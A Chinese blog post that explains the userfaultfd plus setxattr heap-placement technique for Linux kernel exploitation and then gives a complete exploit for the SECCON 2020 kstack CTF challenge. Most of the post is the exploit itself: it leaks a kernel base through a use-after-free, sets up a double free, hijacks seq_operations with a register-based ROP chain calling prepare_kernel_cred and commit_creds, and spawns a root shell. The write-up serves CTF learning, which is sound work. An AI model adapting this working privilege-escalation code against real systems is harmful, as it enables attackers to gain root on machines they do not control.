• 利用userfaultfd + setxattr堆占位


    利用userfaultfd + setxattr堆占位

    很久之前便看到过这个技术的名字,但是由于自己的摆烂,一直没有管。今天终于找到时间好好看一下这个技术的利用方式。利用userfaultfd + setxattr算是内核里一种比较通用的利用技术,在实际场景中通常和堆喷射技术结合起来。但是在某些CTF的题目中,我们已经有了UAF,故并不需要喷射大量的结构体,而是需要在特定的时间对某些object进行写入与占用。笔看到其他师傅的文章中把它称作为堆占位。在之前的博客中我就写过关于userfaultfd利用方式的介绍,故本文主要关注对setxattr的利用。

    setxattr系统调用

    setxattr是一个很特殊的系统调用,它在内核空间可以实现几乎任意大小的object分配。

    他的调用链如下:

    SYS_setxattr()
        path_setxattr()
            setxattr()
    
    

    抛开这个系统调用的正常功能,我们看一下他对我们有用的关键源码:

    static long
    setxattr(struct dentry *d, const char __user *name, const void __user *value,
         size_t size, int flags)
    {
        //...
            kvalue = kvmalloc(size, GFP_KERNEL);
            if (!kvalue)
                return -ENOMEM;
            if (copy_from_user(kvalue, value, size)) {
    
        //,..
    
        kvfree(kvalue);
    
        return error;
    }
    

    我们可以看到首先是kvmalloc(size, GFP_KERNEL)分配出内存空间,接着通过copy_from_user(kvalue, value, size)向空间中拷贝数据,最后调用kvfree(kvalue);将其分配的空间释放。因为这里的value和size都是我们可控的,所以我们几乎就可以实现分配任意大小的object并向其中写入数据。但是在最后会将我们分配的object释放掉,那也就意味着我们前功尽弃了。所以我们得想办法不让他释放掉。那我们可以考虑搭配userfaultfd来使得拷贝过程被卡住,也就不会进行下一步的释放。我们可以想到一下场景:

    我们通过mmap分配两个连续内存页,在第二个内存页上使用userfaultfd进行监视,并在第一个内存页尾写入我们想要的数据,那么此时我们调用setxattr,当copy_from_user拷贝到第二个内存页时就会卡住,这个object也自然不会被释放掉,从而达成我们的目的。

    SECCON 2020 kstack来学习userfaultfd + setxattr堆占位的手法

    exp:对着arttnba3师傅的exp改了改

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    #define PAGE_SIZE 0x1000
    
    int fd;
    size_t seq_fd;
    size_t seq_fds[0x100];
    size_t kernel_offset;
    
    void ErrExit(char* err_msg)
    {
    	puts(err_msg);
    	exit(-1);
    }
    
    void push(char* data)
    {
    	if(ioctl(fd, 0x57AC0001, data) < 0)
    		ErrExit("push error");
    }
    
    void pop(char* data)
    {
    	if(ioctl(fd, 0x57AC0002, data) < 0)
    		ErrExit("pop error");
    }
    
    void get_shell()
    {
    	if (getuid() == 0)
    	{
    		system("/bin/sh");
    	}
    	else
    	{
    		puts("[-] get shell error");
    		exit(1);
    	}
    }
    
    void register_userfault(void *fault_page,void *handler)
    {
    	pthread_t thr;
    	struct uffdio_api ua;
    	struct uffdio_register ur;
    	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    	ua.api = UFFD_API;
    	ua.features = 0;
    	if(ioctl(uffd, UFFDIO_API, &ua) == -1)
    		ErrExit("[-] ioctl-UFFDIO_API error");
    	
    	ur.range.start = (unsigned long)fault_page; // the area we want to monitor
    	ur.range.len = PAGE_SIZE;
    	ur.mode = UFFDIO_REGISTER_MODE_MISSING;
    	if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
    		ErrExit("[-] ioctl-UFFDIO_REGISTER error");
    	// open a thread, receive the wrong signal, and the handle it
    	int s = pthread_create(&thr, NULL, handler, (void*)uffd);
    	if(s!=0)
    		ErrExit("[-] pthread-create error");
    }
    
    void *userfault_leak_handler(void *arg)
    {
    	struct uffd_msg msg;
    	unsigned long uffd = (unsigned long)arg;
    	
    	struct pollfd pollfd;
    	int nready;
    	pollfd.fd = uffd;
    	pollfd.events = POLLIN;
    	nready = poll(&pollfd, 1, -1);
    	
    	if(nready != 1)
    		ErrExit("[-] wrong poll return value");
    	nready = read(uffd, &msg, sizeof(msg));
    	if(nready<=0)
    		ErrExit("[-] msg error");
    	
    	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    	if(page == MAP_FAILED)
    		ErrExit("[-] mmap error");
    	struct uffdio_copy uc;
    	
    	puts("[+] leak handler created");
    	pop(&kernel_offset);
    	kernel_offset-= 0xffffffff81c37bc0;
    	printf("[+] kernel offset: 0x%lx\n", kernel_offset);
    	
    	// init page
    	memset(page, 0, sizeof(page));
    	uc.src = (unsigned long)page;
    	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
    	uc.len = PAGE_SIZE;
    	uc.mode = 0;
    	uc.copy = 0;
    	ioctl(uffd, UFFDIO_COPY, &uc);
    	puts("[+] leak handler done");
    }
    
    void *userfault_double_free_handler(void *arg)
    {
    	struct uffd_msg msg;
    	unsigned long uffd = (unsigned long)arg;
    	
    	struct pollfd pollfd;
    	int nready;
    	pollfd.fd = uffd;
    	pollfd.events = POLLIN;
    	nready = poll(&pollfd, 1, -1);
    	
    	if(nready != 1)
    		ErrExit("[-] wrong poll return value");
    	nready = read(uffd, &msg, sizeof(msg));
    	if(nready<=0)
    		ErrExit("[-] msg error");
    	
    	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    	if(page == MAP_FAILED)
    		ErrExit("[-] mmap error");
    
    	struct uffdio_copy uc;
    	
    	// init page
    	memset(page, 0, sizeof(page));
    	
    	puts("[+] double free handler created");
    	pop(page);
    
    	uc.src = (unsigned long)page;
    	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
    	uc.len = PAGE_SIZE;
    	uc.mode = 0;
    	uc.copy = 0;
    	ioctl(uffd, UFFDIO_COPY, &uc);
    	puts("[+] double free handler done");
    }
    
    size_t pop_rdi_ret = 0xffffffff81034505;
    size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a;
    size_t prepare_kernel_cred = 0xffffffff81069e00;
    size_t commit_creds = 0xffffffff81069c10;
    size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34;
    
    void *userfault_hijack_handler(void *arg)
    {
    	struct uffd_msg msg;
    	unsigned long uffd = (unsigned long)arg;
    	
    	struct pollfd pollfd;
    	int nready;
    	pollfd.fd = uffd;
    	pollfd.events = POLLIN;
    	nready = poll(&pollfd, 1, -1);
    	
    	if(nready != 1)
    		ErrExit("[-] wrong poll return value");
    	nready = read(uffd, &msg, sizeof(msg));
    	if(nready<=0)
    		ErrExit("[-] msg error");
    	
    	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    	if(page == MAP_FAILED)
    		ErrExit("[-] mmap error");
    	struct uffdio_copy uc;
    
    	puts("[+] hijack handler created");
    	puts("[+] tigger..");
    	for(int i=0; i<100; i++)
    		close(seq_fds[i]);
    	
    	pop_rdi_ret += kernel_offset;
    	mov_rdi_rax_pop_rbp_ret += kernel_offset;
    	prepare_kernel_cred += kernel_offset;
    	commit_creds += kernel_offset;
    	swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x10;
    
    	__asm__(
    	"mov r15,   0xbeefdead;"
    	"mov r14,   0x11111111;"
    	"mov r13,   pop_rdi_ret;"
    	"mov r12,   0;"
    	"mov rbp,   prepare_kernel_cred;"
    	"mov rbx,   mov_rdi_rax_pop_rbp_ret;"    
    	"mov r11,   0x66666666;"
    	"mov r10,   commit_creds;"
    	"mov r9,    swapgs_restore_regs_and_return_to_usermode;"
    	"mov r8,    0x99999999;"
    	"xor rax,   rax;"
    	"mov rcx,   0xaaaaaaaa;"
    	"mov rdx,   8;"
    	"mov rsi,   rsp;"
    	"mov rdi,   seq_fd;"
    	"syscall"
    	);
    	
    	printf("[+] uid: %d gid: %d\n", getuid(), getgid());
    	get_shell();
            
    	// init page
    	memset(page, 0, sizeof(page));
    	uc.src = (unsigned long)page;
    	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
    	uc.len = PAGE_SIZE;
    	uc.mode = 0;
    	uc.copy = 0;
    	ioctl(uffd, UFFDIO_COPY, &uc);
    	puts("[+] hijack handler done");
    }
    
    int main()
    {
    	size_t size[0x10];
    	char* leak_buf;
    	char* double_free_buf;
    	char* hijack_buf;
    	int shm_id;
    	char* shm_addr;
    	
    	fd = open("/proc/stack",O_RDONLY);
    	if(fd < 0)
    		ErrExit("[-] open kstack error");
    	
    	for(int i=0; i<100; i++)
    		if ((seq_fds[i] = open("/proc/self/stat", O_RDONLY)) < 0)
    			ErrExit("open stat error");
    
    	leak_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    	register_userfault(leak_buf, userfault_leak_handler);
    
    	shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT);
    	if (shm_id < 0)
    		ErrExit("shmget error");
    	shm_addr = shmat(shm_id, NULL, 0);
    	if (shm_addr < 0)
    		ErrExit("shmat!");
    	if(shmdt(shm_addr) < 0)
    		ErrExit("shmdt error");
    
    	push(leak_buf);
    	
    	double_free_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    	register_userfault(double_free_buf, userfault_double_free_handler);
    	
    	push("fxc");
    	pop(double_free_buf);
    	
    	hijack_buf = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    	register_userfault(hijack_buf+PAGE_SIZE, userfault_hijack_handler);
    	*(size_t*)(hijack_buf + PAGE_SIZE - 8) = 0xffffffff814d51c0 + kernel_offset;
    
    	if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0)
    		ErrExit("open stat error");
    
    	setxattr("/exp", "fxc", hijack_buf + PAGE_SIZE - 8, 32, 0);
    }
    

    __EOF__

  • 本文作者: 狒猩橙
  • 本文链接: https://www.cnblogs.com/pwnfeifei/p/16650533.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    分治:循环比赛
    Vuex使用方式及异步问题处理
    Elasticsearch是如何通过倒排索引来查询数据的
    【Solidity】智能合约案例——③版权保护合约
    Centos 里面为什么有的磁盘命名/dev/vda 有的是/dev/sda ?
    第四节:如何使用注解方式从IOC中获取bean(自学Spring boot 3.x的第一天)
    Vue3+elementplus搭建通用管理系统实例四:找回密码界面实现
    Linux环境基础开发工具
    【C++】内联函数 ③ ( C++ 编译器 不一定允许内联函数的内联请求 | 内联函数的优缺点 | 内联函数 与 宏代码片段对比 )
    距PMP考试仅剩60天,如何备考?
  • 原文地址:https://www.cnblogs.com/pwnfeifei/p/16650533.html